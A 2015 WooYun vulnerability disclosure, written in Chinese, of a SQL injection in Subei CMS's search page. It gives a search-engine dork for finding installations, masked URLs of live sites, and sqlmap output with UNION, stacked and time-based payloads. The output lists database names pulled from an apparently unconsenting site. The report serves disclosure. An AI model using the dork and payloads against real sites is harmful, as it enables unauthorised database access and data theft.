当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0148415

漏洞标题:速贝CMS通用SQL注入漏洞

相关厂商:速贝CMS

漏洞作者: 路人甲

提交时间:2015-10-22 13:59

修复时间:2015-12-06 14:00

公开时间:2015-12-06 14:00

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-22: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-12-06: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

如题。

详细说明:

搜索引擎关键词:Power by:速贝CMS


搜索处: App_Site/SiteSearch.aspx?Title=


随机提取部分案例做证明:

http://**.**.**.**/App_Site/SiteSearch.aspx?Title=123
http://**.**.**.**/App_Site/SiteSearch.aspx?Title=123
http://**.**.**.**/App_Site/SiteSearch.aspx?Title=123
http://**.**.**.**/App_Site/SiteSearch.aspx?Title=123
http://**.**.**.**/App_Site/SiteSearch.aspx?Title=123
http://**.**.**.**/App_Site/SiteSearch.aspx?Title=123
http://**.**.**.**/App_Site/SiteSearch.aspx?Title=123


漏洞证明:

单引号直接报错
直接丢sqlmap跑

1.png


[root@Hacker~]# Sqlmap -u http://**.**.**.**/App_Site/SiteSearch.aspx?Title=12
3
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 17:07:45
[17:07:45] [INFO] resuming back-end DBMS 'microsoft sql server'
[17:07:45] [INFO] testing connection to the target url
[17:07:45] [WARNING] there is a DBMS error found in the HTTP response body which
could interfere with the results of the tests
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: Title
Type: UNION query
Title: Generic UNION query (NULL) - 17 columns
Payload: Title=123' UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL, NUL
L, NULL, NULL, NULL, CHAR(58)+CHAR(112)+CHAR(119)+CHAR(104)+CHAR(58)+CHAR(86)+CH
AR(67)+CHAR(99)+CHAR(71)+CHAR(99)+CHAR(83)+CHAR(111)+CHAR(70)+CHAR(79)+CHAR(84)+
CHAR(58)+CHAR(111)+CHAR(119)+CHAR(117)+CHAR(58), NULL, NULL, NULL, NULL, NULL, N
ULL--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: Title=123'; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: Title=123' WAITFOR DELAY '0:0:5'--
---
[17:07:45] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[17:07:45] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 1 times
[17:07:45] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://**.**.**.**/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[17:07:45] [INFO] fetched data logged to text files under 'C:\Users\ADMINI~1\Des
ktop\???~1\SQLMAP~1\Bin\output\**.**.**.**'
[*] shutting down at 17:07:45
[root@Hacker~]# Sqlmap -u http://**.**.**.**/App_Site/SiteSearch.aspx?Title=12
3 --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 17:07:49
[17:07:50] [INFO] resuming back-end DBMS 'microsoft sql server'
[17:07:50] [INFO] testing connection to the target url
[17:07:51] [WARNING] there is a DBMS error found in the HTTP response body which
could interfere with the results of the tests
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: Title
Type: UNION query
Title: Generic UNION query (NULL) - 17 columns
Payload: Title=123' UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL, NUL
L, NULL, NULL, NULL, CHAR(58)+CHAR(112)+CHAR(119)+CHAR(104)+CHAR(58)+CHAR(86)+CH
AR(67)+CHAR(99)+CHAR(71)+CHAR(99)+CHAR(83)+CHAR(111)+CHAR(70)+CHAR(79)+CHAR(84)+
CHAR(58)+CHAR(111)+CHAR(119)+CHAR(117)+CHAR(58), NULL, NULL, NULL, NULL, NULL, N
ULL--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: Title=123'; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: Title=123' WAITFOR DELAY '0:0:5'--
---
[17:07:51] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[17:07:51] [INFO] fetching database names
[17:07:52] [INFO] the SQL query used returns 104 entries
[17:07:52] [INFO] retrieved: "a0116101639"
[17:07:53] [INFO] retrieved: "a0221164301"
[17:07:53] [INFO] retrieved: "a0221164726"
[17:07:53] [INFO] retrieved: "a0221164926"
[17:07:54] [INFO] retrieved: "a0221165125"
[17:07:54] [INFO] retrieved: "a0221170034"
[17:07:55] [INFO] retrieved: "a0221170156"
[17:07:55] [INFO] retrieved: "a0221170356"
[17:07:55] [INFO] retrieved: "a0221172840"
[17:07:56] [INFO] retrieved: "a0221173009"
[17:07:56] [INFO] retrieved: "a0221173228"
[17:07:56] [INFO] retrieved: "a0307095415"
[17:07:57] [INFO] retrieved: "a0307095531"
[17:07:57] [INFO] retrieved: "a0307095640"
[17:07:57] [INFO] retrieved: "a0307095811"
[17:07:58] [INFO] retrieved: "a0307095936"
[17:07:58] [INFO] retrieved: "a0307100100"
[17:07:59] [INFO] retrieved: "a0307100221"


由于库太多就没继续跑

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝